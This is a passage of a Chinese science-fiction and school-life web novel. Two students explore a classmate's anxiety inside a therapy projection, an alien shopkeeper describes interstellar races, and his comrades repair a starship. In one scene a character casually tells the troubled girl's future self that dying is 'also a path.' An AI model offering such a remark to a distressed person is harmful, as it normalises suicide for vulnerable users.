她的话还未飘散,世界就折叠起来。农村小院三两下被压成一张小纸片,水泥路一块一块地翻动着消失,那股压缩一切的力量朝她们站着的小院逼近。
红头箍的郁霖雨转身离去。她踩着空无一物的地面,向全然的黑暗中走。颜阎和刘征兰顺着她的脚印,一步一步跟上去。
黑暗像是吞噬一切的雾。她们看不到自己的躯体,也看不到黑暗的尽头,连思维和知觉都在这种目空一切的纯黑中沉寂了。两人只能把着彼此的胳膊,盲目地跟着前方的红头箍。
在她们的腿麻木之前,遥远的前方传来一阵笑声。
红头箍的郁霖雨伸出双手,黑暗像一张纸片般被撕开了。她冰冷的脸上露出了笑容,径直走向一张被女同学包围的桌子。
“郁霖雨!”女同学兴奋地扑上去,握住她的手,“你来啦!”
12. 把我变苦
郁霖雨微笑着。
“你知道吗!他昨天跟我开情侣空间了。今天我们就到朋友圈官宣。”面目模糊的女同学兴高采烈地牵着她的手,“天呐天呐天呐……啊啊啊我好激动!我就说他喜欢我!他说他怕追不到我才跟孟含靓谈恋爱的!哎呀……”
另一个女生推开她:“到我了到我了!”她跪在郁霖雨前桌的椅子上,恳切握住她的手,“我气死了!我昨天发消息跟他说我想吃冰激凌,他说那你去吃吧。我生气了他也不知道哄我,我今天绝对不要理他了!”
在高密度的语言包裹中,郁霖雨的勉强很明显,她的眉毛往下低,手也攥着拳头。可她什么也没有说,任女孩们拉着自己的手,在脆而尖的笑声里,她的表情就像白衣上的墨渍。
在她旁边,她们熟悉的那个郁霖雨站在那儿,直挺挺的,稻草人一样。她的表情是那样令人厌烦。
这么一来,郁霖雨的焦虑显然不在小狗身上了。那是什么?家庭?人际关系?自我厌恶?
世界再次折叠了。两人离开初中的教室,站在学校对面的杂货店前。律易棋的杂货店还不存在,学校里传来体育课闹哄哄的声响,西边缀满黄叶的树梢托着太阳。
这是九月二十八日的下午。
这个时候的郁霖雨已经是她们熟悉的样子了,她坐在杂货店外的楼梯上,抱着两盒牛奶夹心饼干,掀开饼干,舔掉夹心,把两片饼干一起吃掉,再喝一口饮料。就这样一口一口,一块一块,吃掉了一整盒。
“牛奶夹心饼干诶。”颜阎蹲在她旁边,“我蹭吃蹭喝经常蹭到这个,商博良爱吃。”
还有一盒,她放在膝盖上看了一阵。忽然暴力撕开包装,抓起一整块塞进嘴里。腮帮被撑得鼓鼓的,喉咙里的哽咽将食物顶上去,郁霖雨梗着脖子抵抗生理反应,硬是把饼干咽下去,噎得自己几乎无法呼吸。
远处,西装女人冷笑着看向她。
“她焦虑的是友情吗?”刘征兰问。
颜阎坐在楼梯上,没心没肺地拿了一块饼干:“如果是的话,那冷眼旁观的那个她是什么呢?”
接下来的画面太多了。上课睡觉、在家偷偷看小说、除了作业什么也没做的国庆、偷吃零食的深夜……每一个画面,不管是平静的,悲伤的,还是快乐的,都有那个西装女人。她像幽灵一样在郁霖雨周围盘旋,什么也不说,什么也不做,只是看着她。
西装、盘发、高跟鞋……职业女性……工作……
刘征兰恍然大悟:“她是郁霖雨的未来!”
颜阎挠头:“这还用说?”
“未来的郁霖雨一直注视着她自己。她是在对未来感到焦虑。”
颜阎还是挠头:“高中生谁对未来不焦虑?”
说的也是。
两个人很失望地叹了口气。叹完气颜阎突然一个激灵,给了自己大腿一巴掌。
“这样不对!我们又不是来看她热闹的!普遍的困境也是困境!”
她豁然起身,三两步迈到西装的郁霖雨面前,和她握了握手:“小……大郁女士,你好。”
对方不说话。
颜阎开始读去年朗诵比赛的文案:“迎接未来,未来是无限风光;展望未来,未来是无限美好;畅想未来,未来就是无限阳光。人生的答卷,没有橡皮擦,写上去就无法再更改,别浪费时间已经过缅怀过去的事情,珍惜眼前,展望未来,明天的你,将会更出色……”
郁霖雨面无表情地看着她。
颜阎说着说着,感觉有点反胃,终于良心发现说了几句现实的:“没关系,实在不行就洗盘子,开网店,做兼职,能活下来就行。世界上职业那么多,高薪职业也不是没有,万一你运气好就撞上了呢!就算找不到工作也不要自暴自弃去结婚,能找到工作也尽量不要找让你穿高跟鞋的工作,有外貌要求的工作都不是什么好职位。实在活不下来,去死也是一条路。不管你做什么我都会支持你的!”
大郁女士看着她,宽容地摇了摇头,说出了她的第一句话:“等你长大了,你就不会这么想了。”
这句每个人的家长老师叔叔婶婶舅舅姨姨都说过无数次的熟悉的话语,带着无与伦比的傲慢、令人胆寒的轻蔑和天赐的顿悟,闯进两人耳朵里。电光火石间,两个人立刻明白了大郁女士存在的意义。甚至不用交换眼神便发出了整齐的呻/吟。
“我明白了。”刘征兰痛苦哀
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鸣,“我完全明白了!”
郁霖雨的痛苦不是“未来”,而是“未来的自己”。
正如初中的她对儿时的宠物绝口不提,高中的她对初中的烦恼不屑一顾。她害怕未来的自己将如今的痛苦,视作毫无意义的浪费。
如果现在的一切都是未来的垫脚石,无论如何,未来的自己都会轻蔑地审视自己曾经的选择,那么现在的她究竟为什么还存在?她视作救赎的未来究竟有多远?她要如何避免被自己轻视?
高中的郁霖雨放下了饼干。
她从纯粹的回忆化作了愤怒的实体,从一道幻影变为心中最急迫的恨意。
她狼狈不堪地瞪视着她的未来。两股视线彼此打磨。
高中的郁霖雨眼中流出滚烫的恨意。
“不管我做什么,你都不会满意的吧!反正你很快就会把我忘掉吧!”她咬牙切齿,“我现在的一切都是为了你,可是你究竟在哪里!上学是为了工作时的美好未来,工作是为了退休后的美好未来,结婚生子是为了衰老时的美好未来!未来的尽头到底在哪?你一定要在我死后才肯罢休吗!”
“为了你,现在的我拥有的一切都被夺走了!”
“把狗还给我!把青春还给我!把友情还给我!把快乐还给我!把勇气还给我!把死还给我!!!”
在郁霖雨的崩溃面前,未来西装革履的她扭过脸,用眼角的睨着她,就像看着一桩丑闻:“真幼稚。你还小,等你长大就懂了……”
郁霖雨一把抓起她的衣领,扯住她的耳环,企图撕开她的耳垂。可未来的她是如此强大,无法被撼动分毫,宛如一尊镶嵌在空间里的雕像。
她属于虚构的未来,整个现实都被她扭曲成一张相片,一个微不足道的故事。她在郁霖雨的心中是极可恨的,也是极强大的。来自现在的力量,无法把未来消灭。她因此而伫立。
僵持之际,颜阎神兵天降。
她没有攻击大郁女士,而是从身后卡住郁霖雨的脖子,双腿盘上郁霖雨的腰,将她拽倒。趁她被疼痛击溃的间隙,一把扯下她头顶的黑绒头箍。
“对不起!”颜阎紧闭双眼,高声忏悔,“我再也不乱送别人东西了!”
13. 宇宙生物大全
颜阎最近开始给人算命。
她拿硬卡纸折了个牌子,上书“算命”二字,还准备了塔罗牌、八卦盘(塑料的)、一只签桶(曾是笔筒),笑嘻嘻地看着来往同学,用眼神示意大家:“快来找我玩,快来找我玩!”
她什么都懂点,会算命大家也不奇怪。于是都去她面前凑热闹。
颜阎左手一顿掐,沉吟片刻,拍了拍面前的公冶长:“你缺二两鸡肉,一两猪肉。我给你开个方子:买个汉堡,顺便抓盒薯条给我。好了,去吧!”
到了公西华,她一阵摸骨。一开始还懒洋洋靠着椅背,摸了一阵就坐起来,眉毛拧成一团:“你最近有一难。V我50,我替你解决。”被公西华赏了笑里藏刀的一拧。
接着排到郁霖雨,她看都没看,拿草稿纸“刷刷刷”给她写了张符。郁霖雨展开一看:“以后别穿高跟鞋,容易得脊椎病。别找有着装要求的公司,容易被坑。别戴耳环,打架会被扯。”看得她莫名其妙。
颜阎搞这一出就是为了对郁霖雨说这几句话。说完她就心满意足地收摊了。后面还有几个人追着她,想继续听她的妙语连珠解闷,颜阎就是不说。
拉着扯着,商博良拽了她一下,颜阎会意,蹦蹦跳跳跟过去,被商博良附耳说了几句外加塞了张纸团,又蹦蹦跳跳旋到郁霖雨面前。
“小郁女士!”她把纸团塞进郁霖雨手里,“有个你知我知天下知但是她就是不让我说的人,让我把这玩意儿给你。”
郁霖雨打开纸团,心说我最近怎么总在打开纸团。
纸团里掉出一颗奶糖。
纸团是从学校发的心理健康宣传单上剪下来的,包在里面的那一面正好印刷着“排解焦虑,注意休息”的字样。
啊。
郁霖雨四处看了看,商博良正在和拉面聊天,没有看她。
昨天解决了心理治疗仪,颜阎和刘征兰紧张地晃醒郁霖雨。结果郁霖雨对这些事没有任何印象。
“我只记得我在学校里和商……和我自己玩,学校外面吵吵闹闹的,然后我就醒了。”郁霖雨说。
……好哇!她们俩在杂货店头脑风暴,郁霖雨在学校里面上体育课!
她们找不到理由让郁霖雨摘掉那个心理治疗仪,最后只好拉下面子去找律易棋帮忙。
律易棋正在偷吃店里的拌面。听她们说了前因后果更紧张了:“到底是谁拿给你们的这些东西!”
他最后还是给了她们一个折射器。
折射器小小的,像一张亮晶晶的贴纸。他挑了一张爱心型的给她们。
“这就是我改变身高和外貌的道具,可以改变折射率。装在你们同学的治疗仪上就行。可以让她看不见治疗仪的投影。”
颜阎抓住重点:“你的意思就说,投影还是存在,只是我们看不见了?”
律易棋点头:“这个东西是关不掉的,除非有医生款。但是你们显然没有,我给你们的也只是患者联机款,所以……”
颜阎大叫:“这个心理治疗仪怎么是这样操作的!谁发明的?吊销执照!”
“……这东西对人有害吗?”刘征兰很紧张,“不会要赔钱吧?”
“没有。这个心理治疗仪已经很落伍了。”律易棋给她们开了两瓶冰红茶,让她们坐下来听,“它是心理学家CCA551发明的,曾一度成为精神治疗的最佳方案,但如今已经被淘汰了。它认为过去的伤痛导致性格,并将复杂的情绪视作具象的障碍,强调人们必须跨越障碍才能获得健康的心理。但是心理问题并不是靠勇气和顿悟解决的。”
律易棋撕开一盒果冻放在两个人面前:“就像果冻里面的椰果,它是嵌在身体里面的。我们不能毫发无伤地从里面取出果肉,正如我们无法从物理上跨越自己。我们只能消磨它,直到有一天我们把这盒果冻吃到一定程度,这份创伤(椰果)才能被我们吃掉,即便如此,它留下的空洞也在那里。这个过程是痛苦的,血淋淋的,绝不是简单的‘击败’能够做到的。”
颜阎和刘征兰表示理解。高中生多少有点心理问题,她们早已久病成医,压根不需要多余的科普。
“抵制弗洛伊德!决定论已经落伍了!”颜阎振臂高呼,“现在是阿德勒的时代!”
律易棋从抽屉下面拿出一个圆形盒子,向上一抛。盒子的边缘发出磁力,与地球的磁场相对抗,这让它可以停在空中。下半部分的金属外壳打开,降下一层光幕,将三人笼罩其中。正对他们的光幕上出现了一个椭圆形的蓝色外壳机器人。刘征兰说这东西像个鸡蛋。颜阎说你胡说,这明明像我们班主任的下巴!
律易棋指着它:“这就是CCA551,种族是智械。在我们的文化里,经常把CCA551称为维持者。大家认为它的研究让将近四振的精神病研究学走偏了,没有起到治疗的作用,只起到了维持社会稳定的作用。大量精神病人受到误解,没有得到妥善的治疗。有人认为这是因为智械无法完全理解精神病的内涵,所以学界至今对智械研究者还保有偏见。”
刘征兰常识触碰光幕,却摸了个空:“智械是个种族?”
“是。”律易棋笑了笑,“星际文明的种族分类有点混乱。目前认可度最高的是六种族论。”
“首先是人类,脆弱的碳基生物。占用了宇宙的大部分生存资源,总体名声不太好。人类内部也有种族差异,就不给你们一一介绍了。”
“你是什么人?”刘征兰问。
律易棋摘掉自己的折射影像,他高挑的身型出现在她们面前:“我是基因优选人群,用各人种的基因配出来的,不属于任何一个人种。硬要说的话,应该是智人基因比例大一点。”
明白了,他是孟德尔的豌豆。刘征兰恍然大悟。
“然后是智械。这个你们应该很熟悉。地球也有很多智械相关的文艺作品。”律易棋向左侧挥手,光幕上的图片顿时改变了。一堆奇形怪状的金属出现在光幕上,“值得一提的是,智械的星际风评比人类好多了。大部分智械有文化又有道德,只不过出于多方原因,它们最近有点陷入存在主义危
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机,电信号上瘾也比较严重……总之,我挺欣赏它们。”
刚经历了王海同和ai的事件,两人对智械的感情有点复杂,一时间没人应和。
“一个比较特殊的种族是灵肉。它们是玛丽基金会的科学家弓栗在通历336年创造的,顺带一提,今年是8420年。它们的原型是动物,但思考方式接近人类。它们的诞生是基因科技史上的重大进步,也是最有争议的基因科技产物。”
刘征兰想起了学校里的蚂蚁大军。
“然后是迁氧。这个称呼太笼统了。所有不用呼吸氧气的自然生物都叫这个名字。天文台里和我在一起的石头人就是迁氧。”
光屏上的图像更加千奇百怪。颜阎甚至看到了玻璃艺术品一样的生物。
“藤发人,伊们很好认,头发是植物的人类就是它们。植物寄生在人类身上形成的种族,寄生时根部会代替人类的脊髓。伊们的种族本体是植物,但结构比普通的植物要复杂得多。是个伦理道德很混乱的种族,争议性比较大。”
“最后是游离体。”光屏上出现一个半透明的生物,“一开始被视作无智慧生物,后来才发现它们是有思维的。透明、也没什么具体形态。经常成为鬼故事主角。”律易棋心有余悸地嗦了口面,“我小时候就被吓过。”
颜阎趴在柜台上,吃律易棋撕开的果冻,含含糊糊地问:“游离体就是鬼?鬼是真实存在的吗?”
律易棋摇头:“应该不是。我不了解你们地球的民俗,不知道地球的鬼具体是什么。”
他本来打算收起圆盒子,拌面却不小心烫了一下他的手。在他甩手的空档,光幕被触发了,上面的图像骤然变成了一行行奇怪的文字。
刘征兰眯起眼睛,拼上年级第一的阅读能力,一目十行地看过去:“内战已继续半个公转周期,掮木完全失去对坎冬的控制,率先撤离难民成为首要目标,和你的联系也将切断。据点的坐标不便透露,勿念……”
律易棋收回了圆盒子。
颜阎扒着柜台:“你把这些说给我们听,不会泄密吗?”
“满足一下年轻人的好奇心,有何不可?”律易棋说,“我像你们这么大的时候,也经常偷偷跑去看机密文件。”
颜阎得寸进尺:“都满足到这儿了,把你的圆盒子借我们玩玩吧!”
“这个不行。这个叫飞箱,作用和你们的电脑差不多。里面有很多我的私人文件。”
“哦……”颜阎萎靡了片刻,又迅速蓬松起来,“你们整个文明最大的图书馆在哪?”
“问这个干嘛?”律易棋想了想,“矩阵学院图书馆吧。”
颜阎记住了。回去之后,她就利用书包里的天文台大门,偷偷去矩阵学院图书馆人文历史书架前偷了几本工具书下课看。
“对不起。”她鞠躬,“一定会还的。”
而刘征兰一直在思考飞箱里的那份信件一样的东西。
内容暂且按下不表。
为什么它的收信人处,写的是“不干了”?
14. 造物狂想曲
“你和我对坐在这荒凉的长桌,头发像光透过的帘幕。
你和我吞咽苦果在这疯狂的国,吃它的纸页也嚼它智慧的干枯。
你和我眼神流转在这万籁俱寂的时刻,共饮的杯中漾满惊惶的泪珠。
你和我,谁都不做,谁都不说,只是沉默,为这命运,为这迟暮。”
以上是颜阎和刘征兰合著的《补作业之歌》,具有极高的文学价值,以写意的方式呈现了高中生活的痛苦,集体生活和应试教育对学生精神和肉/体的双重折磨。
第一段描写了伏案疾书的场景,第二段表达了互相抄袭的急迫,第三段体现了课代表逼近的慌乱,最后一段写出了谁也没写完作业的绝望。
马老师在办公室朗读这些小纸条时,老师们反应平平,她只能自己把小纸条看了一遍又一遍,在角落里无声狂笑。
马老师在二班和四班教生物。在她眼里,高中生早已不是那种让人逼着学的年纪了,想学的她会教,不学的她也懒得管。
颜阎就属于那种不学的。
她并非主动不学,而是被动不学——她天生就觉多,高中的作息让她痛不欲生。她也和老师家长配合着想过办法:干嚼咖啡粉,口含薄荷糖,太阳穴涂风油精,一犯困就去后排站着,一律没用。老师也只能放任自流。
颜阎不大记仇,非常典型的对事不对人,和她闹过矛盾的人也很快就能和好。醒着的时候总是笑嘻嘻,就是犯倔的时候很吓人。什么东西都知道一点,但哪一门都不是特别好。所有老师对她的评价都是:“聪明,但不用在正道上!”
而二班的刘征兰和颜阎正相反。她瘦且高,戴眼镜,瞳仁圆润,看起来相当温和,实际上不怎么爱说话。
刘征兰的成绩稳坐年级第一宝座,次次都能甩第二名二十多分。中考时,临江市重点高中给了榕城的两个名额,她毫无悬念地占据一席。但读了半年,就因为一些原因回到榕城读书。
这两个人隔着班级,不知道怎么成为了朋友。从此风云变色天地无光,所有老师的噩梦开始了!
一夜之间,四班所有人都拥有了外号,英语课代表惨变商博良。语文老师手下两员大将合称:公西华与公冶长,语文老师也因此得名孔丘,至今还有家长称呼她为“孔老师”。虽然学生自己无所谓,但孔老师本人非常愤怒,感觉尊师重道的优良传统全被毁了。
所有老师的权威都受到了挑战。教导主任不过是拽着一个双马尾女生的头发说她在吸引异性注意,颜阎便立刻长出了齐腰长发,在学校内招摇过市。物理老师不过是提了一嘴“男生理科学得好”,他的得意门生刘征兰便欣然交了白卷,平均成绩骤降。
两人的前科数不胜数,她们的相遇,堪称三中老师的史诗级失误,老师们细心复盘,最后沉痛发表结论:她们的父母当初就不应该相遇……不对!她们的祖先就不应该从树上下来!
马老师觉得还好。年轻人就是要计较这些事才叫年轻人嘛。她年轻的时候当过文青,写过诗也发过论文,还对着泰山的云喊过四十岁没当上教授就去死呢,这不比她们激进多了。
她年轻的时候,榕城还是个生机勃勃的能源城市。她毕业后带着割腕的伤疤来到这里,心里想着,等到还完父亲的赌债,她就断绝家里的关系,回首都读研究生。
她的老师器重她,但她无论如何也不愿意让老师替她还钱。亏欠别人一毫一厘,都令她感到抬不起头。临走前老师握着她的手,让她照顾好自己。
后来就没有后来了。赌债一直没有还清,她在榕城送走了一批又一批学生。
第七年,老师不再来信了。这一年她结了婚,第八年就有了女儿。第十三年,父亲死了,她没有去参加葬礼。母亲打电话来哭着说:“他是你爸!”第二十六年,女儿去上了大学。第二十七年,她和丈夫离婚了。
今年是第二十八年。她已经五十岁了。自从二十二岁之后,她再也没踏上过首都的土地。
大学的知识,她已经忘得差不多了。那些试剂的气味,胶皮手套,通宵的夜晚和挑样本时专注到模糊其他的视线,都已经变成过曝的胶片。
过曝胶片里的圆月亮变成了一个圆圆的脸,从胶片里钻出来:“马老师!”
马老师回过神:“孔……呃……童老师。”
孔丘站在她面前,胖胖的身体像插了四根棍子的的梨。
“我听办公室老师说,颜阎又犯事了?”
“没有没有。”马老师连连摆手,“她化学最后一道大题没写完,就把一首自创的《补作业之歌》塞进作业里一起交上来了。挺好笑的,我给其他老师读了读。”
孔丘小小的眼睛里射出智慧的光线:“我去帮你教训她!”
“嗨,这点小事。她挺喜欢我的,跟我开个玩笑而已。再说了,最后一道题她本来就做不出来。”
“那就好。不然我今天一定要跟她妈妈交流。”孔丘像一只巨大的河豚一样鼓起来,瘪下去,鼓起来,又瘪下去。马老师拼命抑制戳她一下的冲动,“她上课又顶嘴!这种性格进入社会可怎么办!”
马老师的小间谍——化学课代表已经把这件事跟她说了。孔丘上课批评她的儿媳妇把宠物当祖宗宠着。颜阎在下面说:总比养小孩好。她说自己和儿媳妇理论,儿子护着儿媳妇。颜阎又说:你看我就说宠物好。气得她不想讲课。
马老师也觉得颜阎说得好。但她还是得顺着同事说:“哎呀,小孩子嘛。长大了就好了。”
“她真聪明,就是真不学好!”孔丘连连叹气,“你看她这个诗。有这个心思,多学学习,不早就是第一考场的学生了!”
第一考场是年级前二十名的老家。
马老师和孔丘寒暄了两句,孔丘就回办公室了。她转身的那一刻,墙后面冒出两个脑袋。
笑嘻嘻的颜阎和明显闷闷不乐的刘征兰一上一下叠在一起,颜阎鬼鬼祟祟地朝她挥手:“马老师好!”
马老师转到墙角后:“都听到啦?刺头颜阎同学,你有什么感想?”
颜阎显然没有感想,她特别骄傲,下巴都抬高了一点。
她旁边的刘征兰面无表情:“我觉得孔老师上课不应该讲课程之外的东西。”
马老师故作惊讶:“那我以后不给你们讲化学家小八卦了?”
“不是……唉……我不是那个意思……”
马老师笑着拍拍刘征兰的肩膀:“老师明白。以后少跟老师对着干,这样以后走上社会真的会吃亏的。”
颜阎爽朗地笑起来:“吃亏也没办法!我就是这种人!就是秦始皇来了,我也照说。把我剐了也没用,不说太难受了。”
刘征兰的眉毛打成死结:“我觉得是她先不尊重人的……”
“她年纪大啦,思想陈腐一点很正常。”马老师左右看了看,低声道,“再说了,这里是须州嘛
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三个人心领神会,发出苦中作乐的笑声。
“好了,去上课吧。这些话别对其他老师说哦。”
颜阎朝她比了个爱心:“我们只对您说,因为我们喜欢您!”
“真的?那为了你们最喜欢的我,以后别再迟到了好不好?”
“我已经尽量了嘛……”颜阎撒娇,“正义都能迟到,上学怎么不能!”
马老师作势要拧她脸蛋。颜阎一扭身从她手底逃走,扯着刘征兰跑远了。
上课铃将至,下午没有化学课,三节课后就放学。周五的学校里充满了悠闲的气息。马老师推开实验室后小办公室的门,打开自己的平板。
“英妹。”平板中,红色皮肤的女人放下粉笔,“你回来啦!”
马英妹点点头:“弓粟,下午好。”
“我有一个新点子。你觉得给蛾子编辑一点荧光蛋白怎么样?我觉得挺好看的。蝴蝶可能会效果更好,但你们这里只有菜粉蝶。我母星上有一种蝴蝶的鳞粉可以染出闪光的金色。放大蜘蛛和给蜘蛛装发声系统也挺好玩的……”
她一张嘴恨不得吐出十个字的语速慢了下来:“你怎么不说话,你在生气吗?”
“没有。”马英妹再也绷不住自己的笑声,“我的学生写了首诗,你觉得怎么样?”
弓粟迅速扫描了那张纸条。
在分析了整张纸条内容和标题的关系后,她也哈哈大笑起来。她笑起来一抽一抽的,像在擦玻璃。屏幕配合着她,不断跳出笑倒在地的小白狗表情包。
马英梅给自己泡了菊花茶,拆开女儿寄回来的云片糕,脱下高跟鞋,换上舒适的软底休闲鞋,坐回平板前:“给蛾子装荧光蛋白,感觉不如让蚂蚁思考有意思。上次我放进二班的蚂蚁已经形成蚁群了。我把那个黏糊糊的软体生物放在隔壁班和它们对抗。就在最近,我发现它们已经击败了软体生物,这说明它们已经会使用工具了,真是不可思议……”
弓粟:“对我来说,只要能捣鼓生物,我就觉得很有意思……”
“啊,对了。”马英妹想起来一件事,“天文台那个绿色的包不见了。”
平板里的弓粟也给自己泡了杯茶,泡茶专用的烧杯在酒精灯上冒着水蒸气:“以后没办法从别的地方偷……拿设备和材料了。”
马英妹不在乎,她早有预料。那个书包大概是学生的东西,她不想占为己有。她有秘密,也应该允许学生有秘密。
“材料省着点用吧。阳台上那些快速生长的吊兰就够我们等一阵了。”马英妹推开桌子上的仪器和培养皿,“弓粟,今天不做实验,再跟我说说故事吧。你当博士的事也好,你们星球的历史也好,我想听一些高兴的事。”
“好。”平板中,弓粟面前的试验仪器消失了,黑板也顿时光洁如新。这块黑板曾经承载过创造生命的公式、颠覆宇宙伦理的实验,同时还有她罄竹难书的罪行,如今用来给一个偏远文明的老师讲远古的故事。
“那我继续跟你讲我们女王的建国史。上次说到,媚驯服了巨象,爵朝的逃奴在巨象的背上,仁慈的她不将象驾向王城,而是向朝阳驶去。肥沃的土地使她得以在林与棘的环绕中建立新城。不堪重税的人们逃往此处,互称为姐妹兄弟。媚将玛伦草的冠戴上头顶,用刺棉的茎编作王座,它们常划破她的皮肤,令她鲜血淋漓。这意味着创造伴随着流血,伟大的壮举与痛苦往往挽手而行……”
15. 虹鱼舰维修记
律易棋的杂货店早上十点开门,晚上十一点关店。每到上下学的时间,店里就涌进来一堆毛茸茸圆滚滚的高中生,校服套在棉袄外,脖子缩在领子后,哆哆嗦嗦地走进来,买一瓶冰饮料再出去。
有闲情逸致的还会跟他扯两句,话里话外都是说学校如何如何累。律易棋本来当个笑话听,听着听着就坐起来了。
“这么虐待你们都没人管?”
学生挥挥手:“可不。都违反《日耳曼公约》了。全国都这样,谁管我们。”
律易棋严肃地坐回去——最近风头紧,他不敢在地球搞出动静,只能忍气吞声。
刘征兰和颜阎最近察觉到他不会没来由地把她俩炸成人体烟花,于是来得愈发频繁,态度也愈发猖狂。经常旁若无人地搬走一堆饼干瓜子卤蛋,经过柜台时看都不看一眼,毫无付钱的意思。
这两个地球人是他偶然碰到的小变数,他的道德不允许他把两人灭口。为了不泄密,只能用一点小小的手段。
两个人倒没有泄密的意思,但显然有别的意思。随着她们拿出了越来越多的外星产品,律易棋越来越困惑。他甚至派出了鸟形监视器,每日蹲在高二二班和高二四班窗外的树杈上,就是没能发现两个人的秘密。他在考虑追踪到两人家中,不过这有点侵犯未成年隐私,需要慎重。
周五没有晚自习,下午只有三节课。这两人堂而皇之地闯进仓库,搬走半箱方便面,准备扬长而去。律易棋用拐杖关上门:“这就过分了吧?”
“这有什么!你都在刘征兰脑子里安炸弹了,我们偷你箱方便面算什么!”颜阎理不直气也壮。
律易棋好笑地看着她俩:“你们知道自己脑子里炸弹还不安分点?”
上完六天课,怨气比鬼还大的刘征兰嘿嘿笑了两声,阴森森道:“你炸,你有本事现在就炸了我。反正我也不想活了。”
经过一番交涉,两人一人只拿走一盒泡面。对此律易棋颇有微词:“免费拿走泡面还说‘只’?”
白吃白喝二人组狞笑着离开。鸟形监视器站在树枝上偷听到两个人的对话:
刘征兰:“打扫呼叫中心真累。”
颜阎:“我腰酸背痛,一周就一天假还要拿来清理那个破地方。”
“我们要不要找律易棋帮忙,抹腻子换墙纸什么的让他来。”
“不了吧,让他知道还得了。”
呼叫中心?律易棋发愁,文化差异太大,这两个人说话经常让他听不懂。
晚上六点,他的讯传震动了一下。他打开看了看,是战友发给他的信息。他转身拉上卷帘门,把店里的灯都关掉,走进仓库的镜子里。
这次镜子内不是茂密的丛林,而是通向一艘机体细长如游鱼的悬浮舰内部。悬浮舰内的通道仿佛血管,各个房间仿佛细胞。随着云堡人科学家南达的论文发表,精仿生物舰的概念横空出世,虹鱼舰就是根据她的理念设计的。
“律易棋!”研答姆·兹杜——也就是在天文台接应他的石头人,咕噜咕噜地跑过来,“你怎么还拄着拐杖?为什么不去隐者星系接受治疗?”
律易棋以拐杖为支点,一步飞出去好几米:“优先供给坎冬的伤员。”
研答姆点点头:“康复期间少穿引力靴,对骨骼不好。”
“我知道了。”律易棋走进装备室,在里面套上防护服,排气的嘶嘶声和他的声音一起穿过门缝,“哪里的格子有问题,我去修。”
“连接虹鱼舰和隐者星系的七号格子。”研答姆背对着装备室,虽然她和律易棋不属于同族,对人类的躯体也没有欲望,但她一向尊重不同的文化,“瓦令还没找到?”
“……没有。”律易棋说,“我对不起他,他在坎冬的战场上都能活下来,却在一个平静的星系生死未卜。”
研答姆安慰他:“不是你的错,厄斯的情况太奇怪了。”
“不是听说有厄斯土著入职了都兰联合吗?根据接触者法案,要根据第一位与银河文明的接触的土著的母语称呼它的星球,现在应该叫地球了。”
研答姆立刻改口:“我错了。地球。下次不会再犯了。”
律易棋从装备室推门而出。黑红相间的连体防护服紧贴着身体,覆盖全脸的头盔上有防窥滤光材料,这让他的表情模糊不清。
“听说你上次把地球人带到虹鱼舰上了?”研答姆继续问。
“提前做了投射影像,把舰内伪装成了原始森林,没让她们看到舰体内部。满足一下她们的好奇心而已。”律易棋听起来心情挺好,“有了好奇心,她们就更倾向去探究。说不定她们会成为引导地球和星际文明大规模接轨的第一批地球人呢。”
研答姆同意他的说法:“没事,大家都理解。掮木支持知识共享,一点小小的破例很值得。”
她欢快地哼起歌。虽然她的歌声听起来像石头互相碰撞,但每个路过的生物都投来了友善的目光。
两个人轻车熟路地来到“驿站”。这是一个圆形的房间,房间内有八扇间距相同的门。
律易棋和研答姆推开七号房间的门,这个房间是一个完全的正方体。一面和杂货店仓库里相差无几的镜子立在正对房门的墙壁前。
律易棋的腿不太好跪下,于是又去拿了张椅子,从下方开始检查镜子上的纹路,一边看还抽出注意力和战友闲聊:“资金运转如何?”
“不好。”研答姆的好心情一下子消失了,“坎冬的经济完全崩溃了。大家都说是因为经济封锁,但我知道不是。星球内战、我们错误的决策、还有种族矛盾,太多因素导致了我们的失败。原以为将坎冬从婆旦的榨取下解救,它就能成为我们的起点,没想到它是我们的终末。为了坎冬我们牺牲了太多,很可能无法继续活动
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……”
律易棋从椅子上站起啦,开始检查上半部分的纹路:“我们当初取名叫掮木,不就是参考伏人的神话吗?有一个人想丛神手中拿走火焰,带给其他生命,但火焰一到它手里就熄灭了。于是它在身上捆满细枝和木条,用火焰点燃它们。它的脚触碰到地面的那一刻,它就被烧死了,世间从此有了火焰。我们的牺牲带来胜利自然是好的,但能为后来者提供了一个可排除的选项,这也是好的。”
研答姆说:“我做不到那么乐观。”
律易棋笑了两声:“没事,这只是我自我安慰的想法。谁喜欢失败呢?”
格子本身没有问题。律易棋说奇了怪了,镜子没有磨损和更改,那难道还能是磁室出了问题。两个人又直奔磁室。途中研答姆又说了一些难民安置的问题。
“隐者星系的新星,我们叫新坎冬,和坎冬本身的温差有三十度。虽然在宇宙尺度下并不大,但对于迁氧来说还是太难受了。为数不多愿意跟我们出逃的难民也在发表抗议。”
“比起这个,隐者们没有发表意见?”
“隐者们一向对掮木持开放态度。但温度更合适的廷星上已经有优先迁民了,它们早来三振,我们正在和它们交涉。”
“有机会就好。我在地球待命时间不长,太阳系太偏远,地球又是太阳系唯一有生命体存在的星球,都兰联合不太关注这里,我很安全。不过我所在的位置有很多奇观现象,等我查明就向上汇报。”
两个生物来到磁室。律易棋打开门,磁室面积宽广,约等于一个足球场。中间有一个旋转的巨大圆形装置,里面一刻不停地释放出辐射与电磁。
磁室里烟雾缭绕,一群果冻一样透明的游离体凑在装置附近,忘我地舞动着。
律易棋气结。
“所有生物!”他低吼,“都给我出来!”
游离体们灰溜溜地游出来。
“对不起。”“别生气。”“真的错了。”“跳格子大师,原谅我们吧!”游离体们发出唱歌一样的频率。
律易棋怒极反笑:“第几次了?吃辐射不能去恒星上吃吗?”
“感觉这边口感比较好。”
律易棋指着它们问研答姆:“平时不给它们吃饭?”
“给。”研答姆背过身,似乎觉得很丢人,“我们会加餐的。”
游离体们可怜巴巴地挥动着透明的触手,身体里形态像雾气一样的电子蔫哒哒地闪烁着。
“我下次造个电离装置请你们吃。”
“一言为定哦。”
“我什么时候骗过你们。”
游离体们开开心心地走了。
律易棋和研答姆沉默地站在磁室门口。
“对不起。”研答姆率先开口,“浪费了你的时间。”
“没关系。”律易棋说,“我就当看喜剧了。”
16. 万千神佛不语不言
律易棋从虹鱼舰回到杂货店,快活地点了个外卖。然后架起讯传,开始看地球文艺作品。
讯传的功能都类似手机,但它的用法是戴上眼镜和触控手套,这样就可以真正使用摄像头视角看视频,或者像读纸质书一样看新闻。起到隐蔽、护眼的作用,就算是上班上学摸鱼也不会被发现。
